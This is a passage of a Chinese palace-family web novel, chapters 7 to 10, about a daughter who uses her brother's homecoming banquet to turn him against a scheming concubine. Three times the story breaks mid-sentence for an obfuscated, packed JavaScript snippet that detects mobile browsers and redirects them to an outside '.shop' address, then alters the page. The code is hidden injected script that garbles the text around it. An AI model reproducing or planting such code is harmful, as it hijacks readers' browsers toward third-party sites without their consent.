“姑娘是说白露吗?我按姑娘教的法子,在柜门和匣子开口处都夹了头发,果然有人一直在翻姑娘的东西!”小园一脸愤怒。 “好事!不怕蛇出没就怕蛇不动。”孟徽月眯了眯眼睛:“是该好好清理这院里所有人了……” 7. 第 7 章 还没等孟徽月想出“清理”结海楼的方法,孟府里倒是先迎来了件大事。 孟连筠回来了。 这个孟府嫡长子二月科举未中,跟随大理寺正李为勋之子李胜谦、翰林院修撰冯少保之子冯友正,结伴前往江南散心,一纾心中愤懑。三人沿京杭大运河一路南下,途径济州、晋陵、扬州直至余杭。一路游玩了两个月,今日方抵达京陵城。 一早,孟瞻儒上早朝前便嘱咐府内众人,要一起为孟连筠接风洗尘。任秀容也早早便操持起席面,吩咐府内下人彻底打扫一番,边边角角都清扫地一尘不染,于房梁屋脊上悬挂彩灯,迎接孟府这位嫡长子。 孟瞻儒一早便回了府,换上一身深紫色云纹锦缎深衣,焦急地等在门口。 孟徽月选了一处角落,细细观察着众人。 这是孟府来得最齐的一次了吧。 任秀容站在孟瞻儒身侧,一身潇湘红金线回字纹团绣紫芍药长裙,长发高高盘起,斜斜地插着一只青绿色玉钗。这钗水头极好,冰感十足,青色从钗底缓缓流淌,通透感呼之欲出,与耳环遥相呼应。任秀容若一朵绽放的芙蓉娇嫩欲滴,路过之人无不回眸顿足。 她一手半挽着孟瞻儒,一手捏着手绢别着耳边的碎发,眼睛瞥过身边的徐姨娘、孟徽月她们,又扫过自己的两个女儿,嘴角不禁染上了得意的笑容。 这人群中就属我两个女儿最出挑! 孟琴月站在任秀容身后,一身天蓝色粉蝶穿花暗纹长裙,头戴镀金缠丝金蝶步摇,提起裙摆无聊地踢着地上的石子。身旁的孟书月看着姐姐粗鲁的动作暗暗白了一眼,将自己水碧色长裙上的褶皱一一抚平,又正了正头上的赤金嵌红宝珠海棠花步摇,不住地向街口张望着,等待着回程的马车快快抵达。 站在她们稍后一点的是徐姨娘母子三人。 徐姨娘十五岁被孟瞻儒纳为妾室,如今不过二十五。凝脂如花朵般娇嫩,小家碧玉温婉至极,似一捧半开的莲花。那双眉眼生得极好,是这张淡水墨画上浓墨重彩的一笔,双眸似有丝丝忧愁流动,带着一抹愁,秀眉微蹙若有似无地牵动着所看之人的心。 怀里是她的一双儿女。孟柔月十岁,胖乎乎的长相十分喜气,像极了年画娃娃。只是整个人拘谨得很,抱着徐姨娘的腰半躲在身后,怯怯地看着周围的一切。倒是六岁的孟连笙,笑眯眯探头望向众人,时不时和徐姨娘窃窃私语几句,虽活泼却极有分寸,动静有礼。 远处传来车马的嘈杂声,马蹄踏起的灰尘铺天盖地涌了来。 “是大公子!”柳管家欣喜地指着前方奔驰而来的马车喊道。 远处驶来一辆褐色四乘马车,白纱幔随风飘舞,驾马的正是孟连筠的小厮轻舟。 马车刚停,门帘撩开跳下一个年轻人,着月白色银线松纹云锦长跑,头戴平巾帻,一副文弱书生装扮。细细看去,唇红齿白,温润如玉,尤其一双桃花眼迷人又多情,眼中盛满了无尽情谊,看谁都是深情满满。 像了秦方好。 孟连筠奔至孟瞻儒身前,双手抱拳,屈膝半跪:“孩儿不孝,远游多时让父亲操心,父亲可安好?” 孟瞻儒满心欢喜,却记得自己六品官员的身份,只紧紧握住连筠的手让他起身:“为父一切都好,只是你月间走遍江南可有好好照顾自己?” “一路安排皆有胜谦、友正,孩儿不曾操心,更是一切都好!” “那就好!那就好!”孟瞻儒如今和许久未见的嫡长子重逢,高兴之情溢于言表,嘴角忍不住上扬。他好好看了看儿子,重重拍了拍长子的肩:“你小娘和兄弟姐妹们也挂念得紧,一早便在这迎你了!” 任秀容立马上前:“大公子这一路肯定吃得不好,你看这脸瘦了一圈呢!家里今日做得都是你喜爱吃的菜,今日给大公子好好补一补!” 孟连筠抱了抱拳,淡淡地回了句:“劳烦了。” “哪里的话,都是妾身应该做的。琴月和书月也总是念叨着哥哥什么时候才能回来呢!”说话间使了个眼色。 书月会意,上前施了一礼:“大哥哥安好?此次一去几月,书月也十分挂念哥哥。恰逢前几日与姨娘出门,见了这周公彦老先生亲笔题的扇面,‘蟾宫折桂’四字最适合哥哥不过!书月便用这小小扇子作为大哥哥接风之礼,祝大哥哥此次科举一击而中!” 任秀容用手绢拂了拂耳坠,看着书月处处大方得体心中好不得意。再看挽袖站在一边一言不发的琴月,皱眉叹了口气。 孟连筠接过扇子一看,这四个字笔格粗壮却不失轻盈,字迹清丽流畅而又极具个人特色,“宫”字那一点饱满圆阔,彷佛要透过纸张无限蔓延下去。孟连筠极爱附庸风雅,更何况周公彦一字千金难求,这扇子带出去不可谓不出风头,他嘴角的笑压都压不下去:“借三妹妹吉言了!我带了些江南的特产,其中有几匹布料都是苏州绣娘一针一线绣出来的,正好给几个姐姐妹妹。” 徐姨娘揽着一双儿女轻声问了安,便快速退到一侧,不声不响将自己的存在感降到最低。 可在孟瞻儒眼里,这是多么一家子其乐融融,互亲互爱的和谐场面。他抚着长须朗声大笑:“好!好!我孟府真是家丁兴旺,其乐融融啊!走!筠儿颠簸了一路,快快回去换身行头,看看小娘给你备了什么好吃的!” 没人记起孟徽月。 就连孟连筠这个亲弟弟都没有想起来。 看着一团和气的众人,好像不提便能按下那暗流涌动。孟徽月觉得好笑极了,孟府里可真是人才辈出! 众人先各自回院落,等待开席。 折春阁里,琴月一屁股坐在椅子上,端起茶“咕嘟咕嘟”灌了一通,引得书月不屑地翻了个白眼。 “可算渴死我了!大哥哥回来就回啊,父亲干嘛要我们都候在门口,害得我连今日下午的蹴鞠会都没去成。” 任秀容坐在上座,优雅地端起茶盏吹了吹,抿了一口:“以后那些蹴鞠会你也少去,这衣服都不知道破了多少套了。” “我那点衣服换换又能怎么样,小娘不要太偏心!书月那一把扇子可够我买几十件衣服了。”琴月捋着头上的流苏,“送再多礼给结庐斋那位,他和我们也不是一母同胞的兄妹,何必浪费咱们院里的银子。” 任秀容放下茶盏,语气里也带了一丝不满:“这话琴月说得不假,咱们和结庐斋面上过得去也就是了,花费再多也不一定能尽弃前嫌。” 书月起身坐到任秀容身旁,柔声说道:“小娘说得是,只是结庐斋和结海楼那两位可不同心,我们何不试着把结庐斋那位拉到我们这边?毕竟孟连筠是这孟府嫡长子,以后是要继承家业的,咱们和他搞好关系总归是没有错处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588011|205365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 任秀容一想,确实在理,只是白花花的银子就这么出去了,依旧是有不舍,提醒书月两句让她注意分寸,便吩咐丛妈妈给几个姑娘更衣。 孟连筠回结庐斋匆匆换了身衣服便赶到正厅,刚坐定,就见一袭天青色的八幅罗裙飘到了眼前,抬眼望去腰间足有十八道细褶,层层叠叠,一白一青,走动时若隐若现,犹如绽开的雨后初晴。孟徽月一身玉青色薄衫罩着月白色中衣,站定后笑着说道:“弟弟来得这么早,可是想念家里厨子的手艺了?” 她笑得灿烂,微抬那白腻的鹅蛋脸,柳眉如叶挂在那双杏眸之上,明眸眼波流转,情丝连连。原本那眸子里总是塞满了冷漠与猜忌,如今却是明光四起,顾盼生辉间尽是少女的灵动,照得整个人明艳之极。 孟连筠一时竟不知来人是谁,愣了半晌才犹犹豫豫地开口:“孟徽月?” 徽月坐定,接过下人递来的毛巾仔细擦拭着手,没来由地来了一句:“这江南莫不是蛮夷之地?连筠你以后还是少去为妙。” “此话何意?” “你才出门两个月,对着长姐都能直呼其名了,江南可见一般。” “不是……长姐变化太大,我一时有些震惊……姐姐身子可好了?” “没什么大碍,大夫说让养着。”徽月调侃道:“难为你还记得我的病情啊,真真是姐弟连心。” 连筠听着有些尴尬,徽月生病时他一次也没有去看过,确实不占理。若是以往,徽月冷着一张脸,他俩谁也不爱搭理谁。可如今徽月笑眯眯坐在自己身旁,柔声中夹枪带棒,他确实理亏,倒有些不好意思了,右手推了盏茶过去:“这是我从江南带来的大佛龙井,特意让下人们沏了,姐姐尝尝?要觉得好,我便送去结海楼一份,算是给姐姐赔个不是。” 徽月看了眼热气袅袅的茶盏,也不推辞,端起小尝一口。茶香清亮,香味醇厚浓郁,在腔内流转绵延,后调的栗子香久久萦绕在齿畔。徽月不由地赞道:“确实是好茶!” “长姐喜欢就好。”连筠挥手招来轻舟,“送一份到结海楼。” 轻舟应声退下。 徽月那双含水的杏眸略略扫过连筠,嘴角噙着笑:“怎敢受弟弟这份大礼,正巧我也备了份礼物,一来为弟弟接风洗尘,二来愿你此次科举金榜题名。” 小园上前来递过一只黄色的绸缎香囊,徽月打开从中取出一枚双鱼衔尾和田玉坠递给孟连筠:“三妹妹不正好送了你一把扇子?配上这鱼跃龙门的玉坠,此次科举必能如愿以偿”。 连筠双手接过一看,这玉冰感极好,质地缜密细润,水头极佳,如凝脂一般,双鱼首尾环绕,成嬉戏之状,雕刻得活灵活现,彷佛要一跃而出。他爱不释手地看来看去,自小旁人见他,总赞他君子谦谦,温润如玉,他最爱各种玉器摆件,这件小玉坠种水莹莹,冰感十足,定是价值不菲。 开口道了谢,连筠拿出扇子想试试这扇坠合不适合,转头却瞥见徽月头上半旧不新的金簪和手腕上那连光泽都失了几分的翡翠手镯。初见只觉得罗裙惊艳,细看之下竟是亡母秦方好闺中旧物旧物改了尺寸。 回想起门口任小娘、书月琴月她们一身华贵,珠翠满头,买把扇子都能一掷千金。 看着眼前这把“蟾宫折桂”扇,孟连筠重重拍在桌子上。 ? 8. 第 8 章 孟徽月要的就是这个效果。 不枉她出门前翻翻找找才从秦方好的嫁妆里找到这身行头。既素雅大方上得了台面,又能看出是多年旧款。旧首饰倒是不必找,孟徽月平日里就不好这些,手头都是黯淡无光的旧款。 一母同胞的姐姐落魄至此,背弃旧主的小娘一家却衣料华美、雍容华贵,纵使孟连筠之前和自己再不对付那也是一母同胞,血脉相连,在共同的敌人面前,她不信他能咽下这口气。 果然,看着面露不郁扔下扇子的孟连筠,徽月佯装不知,出声问道:“连筠你怎么了?脸色这么不好,是哪里不舒服吗?” 说着关切地瞧了瞧,转头吩咐下人端上来一碗竹荪鸡汤,仔细吹凉后递了过去:“许是途中劳累,我看你脸色有些发白,便早早吩咐小厨房炖了碗鸡汤,补气养身最是合适,快趁热喝了。” 孟连筠应声接过,尝了一勺。鸡汤鲜而柔嫩,味道熟悉中又有些陌生。 这个味道,似乎是母亲常做的。 他想起了那时母亲还在,自己和徽月坐在结庐斋那颗三人合抱的桂花树下,捧着这竹笋鸡汤数着天上的明月和繁星。父亲和母亲坐在一旁小酌,看着他们叽叽喳喳闹来闹去。 虽是秋风横过,无寂寥,唯暖意。 可那秋风吹得太疾,吹走了母亲,也吹散了徽月和自己。十二岁那年,她毅然决然搬到了府里西北角的一处院落,闭门过活。 结海楼和结庐斋,一字之差,却放佛有千里之远。 看着徽月笑意盈盈的脸庞,没了平日里的戒备冷漠,眉眼能看出和自己有六七分相似,连筠刚想开口,就听见外面有声音传来。 “筠儿这是饿了?先喝上鸡汤了?” 孟连筠还没从回忆里抽身,就听到身后孟瞻儒的声音。 他换了一身绛紫色万福纹常服,身后跟着任姨娘和徐姨娘她们。 孟连筠和孟徽月前忙起身,孟瞻儒今日心情大好,挥挥手:“在家里不必如此在意规矩,倒失了一家人的情分。” 众人连连称是。 孟瞻儒在主位坐下后,左手边依次是孟连筠、孟徽月,右手边则是任秀容、孟琴月、孟书月、徐姨娘、孟柔月和孟连笙。 “老爷今日难得这样高兴,还是孩子在跟前来得热闹。”任秀容接过侍女递来的热毛巾替孟瞻儒细心擦着手,声音里多了几分调侃:“大公子回来了可就不要再走了,老爷这几个月可想得紧,日里总是念叨着你什么时候回来。” “孩儿此次回来便不走了,留在家里专心备考,侍奉父亲在前。” “你倒是不必体念我,好男儿志在四方,总在家里何能有一番作为?你自己知道路怎么走就好,在家里也好,在外面也罢,我心里都是安慰的。” “孩儿知道了。” “大公子游历回来果真长大了不少,照我看比起朝内朝内那些重臣的孩子也不差呢!” “哈哈哈,秀容这话说得倒是不错。” 徐姨娘和她的一双儿女只是安静地坐在一旁,孟连筠对着任姨娘夸奖只是抱着礼貌的微笑,更多的是专心回应孟瞻儒的问题。 徽月自知不是主角,无心虚与委蛇,听着几人言不由衷地赞赏,无聊地挂着一抹礼节性的笑,只关心什么时候才能开饭。 这桌席面任秀容操持得极为上心,楠木团桌上摆着十八道菜,各个精致非常,色香味俱全,看着便让人忍不住大快朵颐。 尤其那道茸鸡待哺,打散的蛋黄炸成鸡蛋茸的模样,配以12个豆沙馅的酥皮面卷,尤其符合徽月的胃口。 结海楼哪曾有过这样的珍馐?她只等着今日能一饱口福。 孟瞻儒细细问了一圈,还准备再问问连筠游历杭州的见闻,瞥见连笙呆呆地咬着筷子望着眼前那道金腿烧鱼圆山鸡汤,不由哈哈一笑:“瞧我这光顾着说话了,这饭倒是快凉了。” 说着大手一挥:“今日难得一家团聚,都别守着规矩了,随意点,都动筷子吧!” 孟瞻儒话一出,连笙便迫不及待地嚷着让徐姨娘给他夹鱼丸子,那虎头虎脑的小样引得孟瞻儒哈哈大笑。 徽月盛了碗奶白鱼汤:“这几日倒春寒,父亲一向公事繁忙总三餐不得时,先喝碗鱼汤暖暖胃。” 孟瞻儒接过鱼汤,喜上眉梢:“我这个大女儿,近来是越发懂事懂规矩了,每日不是鱼汤便是鸡汤的送来,这给我补得原本有些发凉的手心都热起来了。” “夫孝,天之经也,地之义也,这都是女儿应该做的。” 身旁的孟连筠压着惊讶偷摸打量了徽月几眼,心里说不尽的纳闷:孟徽月居然懂得在父亲面前低头服软了,这可真是件奇事儿。 孟琴月嘟囔了一句“狗腿”,被身侧的任秀容狠狠剜了一眼,只得夹了一块肘子愤愤啃了起来。 任秀容眼底闪过一丝阴厉,后又迅速换上平日里的温润柔情,替孟瞻儒夹了个琵琶大虾,轻声道:“大姑娘这几日除了照顾老爷啊,是断不出结海楼半步,如今可真是有了待嫁女儿的样子。只不过在闺阁中还是要专心练习练习女红,学着如何侍奉婆家,相夫教子这些,不日到了国公府要宜室宜家,可不能丢了咱们孟府的脸面!”说着,特意转头灿笑着望向徽月,“大姑娘你说是不是?” 孟连筠听道任秀容这番话,眉头越蹙越紧。 徽月刚夹了段鲈鱼,还没咽下,说不出话只得用手绢掩着。 书月夹了口鲜蘑菜心,顺势接道:“大姐姐最是孝善,岂会不知全家同气连枝的道理。” 徽月借着手绢的掩护使劲捏了一把脸颊,顶着红扑扑的脸蛋儿一脸娇羞:“姨娘说是便是,徽月还未出闺阁,不敢妄言。” 孟瞻儒面有不虞:“这些话私下里也能说,何必在一家团圆的大好日子里说这些,好了好了,我看连笙挺喜欢那道金腿烧鱼圆山鸡汤,端到他面前去,文焉你多给他盛上几碗。” 徐文焉立马起身施礼:“多谢老爷好意。” 任秀容撇撇嘴,娇嗔道:“老爷,妾身也是为孟家着想,那国公府是何许人家?若是大姑娘嫁了过去,处处礼节不得,那让人怎么看我们孟府,怎么看我们孟府的女儿们?往日里大姑娘不羁得很,这一病虽说转了性子,可万一嫁去国公府以后又成了往日那模样,咱们可怎么是好啊!” 琴月冷哼一声:“大姐姐可别让我在蹴鞠会都抬不起头才好。” 孟徽月慢条斯理地放下筷子,用手绢擦了下嘴,低头应道:“姨娘说得是,徽月定谨记在心,不失孟府颜面。” 一来二去孟瞻儒颇有些不耐烦:“徽月如今懂事得紧,你倒是总数罗她的不是!好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588012|205365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,这道绣球乾贝你一贯爱吃,尝尝看。” 任秀容笑得甜蜜:“老爷还记得妾身喜欢吃这道菜,妾身实在是欣喜得紧。”说着轻轻擦了擦眼角的泪珠。 “还是这么孩子气。”孟瞻儒宠溺地摇摇头。 孟琴月抱着肘子啃得不亦乐乎,冷不丁地来了句:“姨娘要是不放心,何不给大姐姐找个教引姑姑?省得来日真到国公府失了礼数,惹了笑话,外人说咱们府里的姑娘有养无教,咱们面上可都不好看。” 大户人家贵女嫁人前找个教引姑姑倒是无可厚非,可是有养无教这话说得极是无礼,在场几位都脸色一变,半拿着筷子面面相觑。 任秀容暗自生气,这死丫头倒不如不说话! 徽月一听,院里的眼线还没揪出来,这是又要明目张胆安一个?她眼珠子一转有了主意,刚要说话,就听“砰”的一声,一旁的孟连筠把酒杯重重砸在桌上。 “二妹妹这话说得倒是十分蹊跷。”孟连笙的脸色冷了下来,“这话究竟在说先母管教不严,还是任姨娘管家不力?” 琴月吓了一跳,手里的肘子差点没拿稳扔了出去。她环顾一周见孟瞻儒和任秀容脸色难看,书月白了自己好几眼,徐姨娘和柔月神情紧张,不知道手该摆哪里,只有孟连笙小口小口喝着鱼汤,一脸愉悦,彷佛不知道发生了什么。 琴月虽心里没底,可还是嘴上不饶人:“我可没有这意思,大哥哥可不要乱往我头上按罪名。” “那二妹妹这是何意呢?”孟连筠嘴上在笑着,可是笑意没达到眼底,眼神里有一股溶不开的冰。 “任姨娘和二妹妹话里话外是长姐礼数不周,恐丢了孟家的脸面。这话也不错,姨娘掌家,必是顾得了这头顾不了那头,父亲为了孟府着想,还是尽快娶个续弦才是。” 轻飘飘的一句话,像是在厅内扔下了个重磅炸弹。 任秀容差点咬碎一口细牙,她最大的愿望便是能转为正室,这两个女儿能冠上嫡女的头衔,孟连筠倒是想把这条路堵死! 但她面上不露声色,反而一脸真诚地看向孟瞻儒:“大公子说得极是,我一介姨娘操持府里终归不是长久之计,老爷还是要为几个孩子着想才是。” 孟瞻儒尴尬地咳了两声,看了眼任秀容正要开口,又听连筠说道:“姨娘这么想再好不过,如今父亲官至六品,有多少人家等着将女儿嫁过来做继室呢。” 孟瞻儒拂了拂手:“秀容将这家操持地极好,换个人来府里不知又是怎样,现在孩子们各个都在关键时期,何苦再折腾一番。” 任秀容听到这番话脸色稍霁,稍稍放下心来。 “极好?父亲没忘记三妹妹送我的那把扇子吧,周公彦老先生一字千金,那把扇子价值几何想必无需多说。可您再看看长姐!即将出嫁之人,这身罗裙还是先母的旧物,头上的玉饰金簪皆是几年前京陵城的旧款!折春阁的生活是什么样,结海楼的生活是什么样,明眼人一看便知。” 说着话锋一转:“如若母亲在世,长姐断不会是此般光景……” 这句话戳到了孟瞻儒的痛处,他对亡妻多有亏欠,对她留下的一双儿女更是不够关爱,只是在众人面前被嫡子当面指出,实实在在下了面子,他怒从心起一拍桌子厉声喝道: “出去两个月,你也要造反了?” 9. 第 9 章 孟瞻儒中期十足的一声呵斥,镇住了众人,厅内一下子安静下来。 孟连筠梗着脖子不肯低头,任秀容见孟瞻儒发了火,乐得作壁上观,抱着幸灾乐祸的心思且看如何收场。 倒是苦了孟柔月,她素来胆子小,眼眶立马红了一圈。徐文焉将女儿紧紧搂在怀里悄声安抚。一旁的孟连笙也停了筷子,眨巴眨巴大眼睛在几人间来回打转。 眼见孟瞻儒真的动了肝火,徽月只道这个孟连筠怎么这么沉不住气! 她今日此番种种,只是为了“修补”姐弟之前逐渐淡漠的情谊。他们有着共同的敌人----任秀容,她是怎么进这个家的,秦方好是如何日渐消瘦,他们都记得。因此即使孟连筠为人冷漠不可依赖,但是并不妨碍他们可以在共同利益前统一战线。 毕竟敌人的敌人就是朋友嘛。 如今自己想在这个家里想把计划顺利推行下去,单打独斗是不可能的,如今要找到可靠的盟友。 徽月本意只是想让孟连筠看到嫡亲姐姐和小娘一家的鲜明对比,一个落魄潦倒,一个金食玉衣,试图激发他心中仅剩的亲情。 原以为二人关系僵,只是温情一下,没想到孟连筠竟会当众为自己出头。 不知道这小子打得什么算盘。 孟瞻儒面色涨红,眉毛快要吹到了发髻上,眼珠子瞪得浑圆,胸脯一起一伏不断喘着粗气,一看是真动了气。 任秀容心里暗自发笑,也不着急去劝,心里倒要看看这一家子如何收场。于是低头坐在那儿摆出一副伤心的模样。 “女儿恭喜父亲!” 席间冷不丁传来一抹带着笑意的爽朗女声。 孟徽月起身,笑盈盈屈身再贺:“父亲这般好福气,何愁不能再高升一级?” 孟瞻儒怒气未消:“恭喜?一个两个都要造反了,何喜之有!” 任秀容也轻叹了口气,有意无意道:“大姑娘莫不是只会捡些好听的话哄老爷开心吧,没的都硬说成有的。” 徽月自是不理睬,依旧看向孟瞻儒,娓娓说道: “母亲过世多年,连筠思念母亲,不忘旧人。而父亲始终未纳继室,女儿知道是父亲对母亲用情至深,连筠想必也知。可这府内后宅一日无主,从徽月起,各位弟弟妹妹们的婚事也要逐渐操持,任姨娘贤惠,将府里管得井井有条,可姨娘也知她操持这府里终归不是长久之计。连筠为了父亲考虑,这才斗胆提起父亲续弦一事,此为孝。” 拿她说的话来赌自己的嘴,任秀荣一噎。 “连筠见长姐清苦,又怕兄弟姐妹待遇悬殊,时间久了必心生嫌隙,感情淡薄,才不顾得罪父亲将事情说出,只希望兄弟姐妹能心在一起,此为悌。” “连筠作为嫡长子,说与不说都不会撼动他在家里的地位,可是他为了几个弟弟妹妹,为了他这个姐姐愿意冒着惹怒父亲的后果,挺身而出,这才是孟家嫡长子该有的风度和器量!” 徽月笑得更甜了: “父亲有这样一位忠、孝、悌皆全,文、义、礼聚在的嫡子,我敢说整个京陵城都找不出第二个!有连筠继承家业,孟府何愁不节节高升呢?所以徽月恭喜父亲!” 她双手合拢在前,深深躬身一拜。 拍马屁谁还不会呢,前世自己可见的多了。自己不拍,可不代表不会! 徽月一番话说得孟瞻儒肝气疏解,眉宇骤开。他面无表情地看了孟连筠几眼,忽然抚着胡子哈哈大笑: “说得在理!徽月说得在理!连筠此心我何尝不知啊!徽月也别站着了,一家人吃饭总是没这么多规矩。” “是父亲。”徽月坐下,偷偷向孟连筠使了个眼色。 连筠举着酒杯快速起身:“长姐此话虽有意维护连筠,但连筠也有错在心。续弦乃父亲私事,为子不可妄言。父亲身居六品,能否再上一步今年尤为关键,连筠虽好心为孟家着想,但未曾考虑周全引得父亲不快。连筠自罚三杯赔罪。” 说着连饮三杯。 这小子反应倒也快,这话说得让人听起来十分舒服。徽月看了看面色缓和的孟瞻儒,心想此事终于能够返翻篇了。 “秀容从下个月起给结海楼涨一两月例银子,徽月是我们家的长女又即将出嫁,虽然方好的嫁妆留有一半给徽月,但手里总不能太寒酸。” “父亲也太偏心了!”琴月一听嚷出声,“为什么只给大姐姐涨?刚刚大姐姐还说了,大哥哥希望我们兄弟姐妹一视同仁,不能待遇悬殊呢!” “一视同仁?不然你头上的金簪和腕上的镯子也和徽月分一分?” 琴月瞬时气势灭了一节,偃旗息鼓低头吃起了饭。 任秀容虽不满孟瞻儒开始对这个女儿回心转意,尤其听见秦方好的嫁妆更是恨得牙痒痒,但见琴月吃了瘪,只得换上一副娇嗔的模样,顺手为孟瞻儒盛了碗人参鹿茸鲜汤:“前儿个我就想跟老爷提这事了,大姑娘高嫁到国公府那是咱们府里的脸面,可不能叫人看低了去。大姑娘平日里不拘吃穿用度,可国公府里就讲究这些,老爷既说了,我再从自己体几钱里出一两,也是我对大姑娘的一番情意。” 好厉害的一张嘴!三言两语就是她自己不在意吃穿用度,而不是她任姨娘苛待自己。借着孟瞻儒的话顺势卖了个乖,孟瞻儒只会觉得她贴心。 徽月心里骂道这狐狸道行是高,可面上还要笑着谢过任姨娘的好意。 果不其然,任秀容这话说得孟瞻儒整个人熨帖开,笑着喝了一口汤:“哪有让你自己出钱的道理,你一个女人家操持着这么大的府邸,还顾着这几个孩子手里哪有什么钱,从账面上支就是了。” 任秀容笑着称是。 徽月夹了一筷子鱼肉,低头吃着。任秀容确实没什么钱,孟瞻儒贫苦书生出身,一路升迁全靠婚后秦家的支持。年轻时心高气傲,秦方好的嫁妆和他们的共同财产全交由秦方好管理。秦方好死后嫁妆虽在孟徽月手里,但早就说明一半日后留给孟连筠。但是之前夫妻二人共同的店面铺子,孟瞻儒一股脑儿全交到了任秀容手里。虽比不得秦方好的嫁妆,却也是不小一笔。 四个女儿虽说都是2两银子的月例银,可有没有补贴可是完全不同的光景。 看着对面小心翼翼给孩子夹菜的徐文焉,徽月心在里感叹:这个爹还真是凉薄得很,嫡亲儿女就算了,徐文焉跟着他这么多年,为他生儿育女,手里却是空空如也,比自己更是清贫。 男人靠得住,猪都能上树啊…… 徽月还在心里对孟瞻儒进行批判,忽而听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588013|205365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书月的声音: “恭喜大姐姐了,这般福气可不是人人都能有。这涨了月例银子,下次咱们一起出去挑些时兴料子做几身新衣服,别总是穿着这些旧衣,万一哪天府里来了客人,失了礼数多不好。” 就不能好好吃个饭吗! 徽月只想安安生生吃完这顿饭,毕竟这肘子鱼肉和鸡汤,孟书月她们习以为常,她可不是天天都能吃到的。 徽月还没开口,只听一道清脆的童声响起:“前几日府里来了客人,我看大姐姐穿得是一身鹅黄色八福裙,不是这身呢。” 徐文焉没想到儿子会突然开口接腔,吓得一抖,回过神来赶忙捂住孟连笙的嘴:“这里哪有你说话的地方!快快闭嘴!” 任秀容见有人帮腔哪里肯错过这个机会:“徐姨娘这是做什么?童言无忌,说着无心,咱们就当听一乐。” 徐文焉陪着笑:“孩子还小,说得都是些瞎话,他不懂得。” “我看二弟弟未必不懂。”书月问道,“那你说大姐姐今日穿这身是故意的了?” “当然!”孟连笙脆生生答道。 徽月放下筷子。 徐文焉一脸焦急:“你这孩子胡说些什么!” “我才没胡说呢!”孟连笙一脸不服气。 “那二弟弟你说,大姐姐为什么要今日故意穿这身旧衣?是不是有什么用意?”书月故意引导着。 “当然是大姐姐前几日把父亲的教诲听进去了才会这么做!” 话一出口,书月一愣。这小子什么意思? 孟瞻儒也有些不解:“笙儿此话何意啊?” 孟连笙跳下椅子,掩袖咳了两声,随后学着哥哥姐姐的样子一拱手:“前几日给父亲请安,父亲教导我们,如今女皇礼佛,以身作则精简宫廷用度,朝中大臣纷纷效仿,穿着几年前的旧衣上早朝已表心志。大姐姐这番不就是谨遵女皇旨意?可待客之礼不可废,大姐姐便只在家人的场合着旧衣,既不损孟家颜面,也表明了追随女皇的心意,大姐姐真厉害!我也要学大姐姐!” 这番话说得孟连筠笑容满面,而孟书月恨得牙痒痒,生生咽下了这口气:“二弟弟说得是,书月也要像大姐姐多多学习!” 琴月看着吃瘪的书月,心里好不快活,一高兴又夹了个肘子啃了起来。 “哈哈哈哈!好!说得好!我两个儿子都这般聪慧真是孟家先祖保佑啊!”孟瞻儒意味深长地看了眼徐文焉,后者红着脸连忙起身,手足无措道:“笙儿还小,都是胡言乱语,还请老爷见谅!” 任秀容面色到时看不出一点异常:“妹妹这说得哪里话,连笙如此聪慧必离不开妹妹的教导,改日我得去妹妹那学学经,妹妹可不要赶我呀!” 明明是再温柔不过的笑容,可徐文焉只觉得通体生寒,那笑容后面藏着怎样的心思,她如何不知! 她苦笑着应了下来。 “来!连笙!到父亲这里来!” 6岁的孩子正是活泼爱动的时候。孟连笙小跑到孟瞻儒身边被他一把抱起坐在腿上,笑呵呵地问他想吃些什么。 看着虎头虎脑点点这个菜,又点点那个菜的孟连笙,徽月笑了。 初生牛犊不怕虎……这个小孩子有点意思。 ? 10. 第 10 章 直到席面结束,都没再生出什么事端。 孟瞻儒照例歇在了折春阁,醉醺醺地站不住脚,被任秀荣搀着回了去。 徐文焉和众人告别,牵着孟连笙和孟柔月往云裳苑快步走去。 路上只有几座灯盏闪着微弱的光,烛火摇曳出风的轨迹,忽明忽暗,橙黄色的火焰染上了春寒的冷气,远远看去总令人联想到幽幽鬼火。 从正厅到云裳苑有长长的一段距离,徐文焉的贴身女使雪霁挑着灯走在最前面。孟柔月速来胆小,紧紧抱住徐文焉的胳膊,脸色发白:“姨……姨娘……还有多远……柔月害怕……” 孟连笙松开母亲的手,在袖口里摸来摸去,终于掏出一块叠得方方正正的帕子,打开来是几块绿豆糕。他把帕子推过去:“姐姐不怕!咳咳!咱们一会儿就到了,你吃糕点垫一垫。” “是绿豆糕!”柔月自小爱吃甜食,赶忙拿起一块放进嘴里,又念叨着:“弟弟怎么又咳嗽了,回去我给你煮冰糖雪梨!这绿豆糕我一块,弟弟一块,姨娘一块。弟弟的我先帮你留着,等咳嗽好一点再吃!” 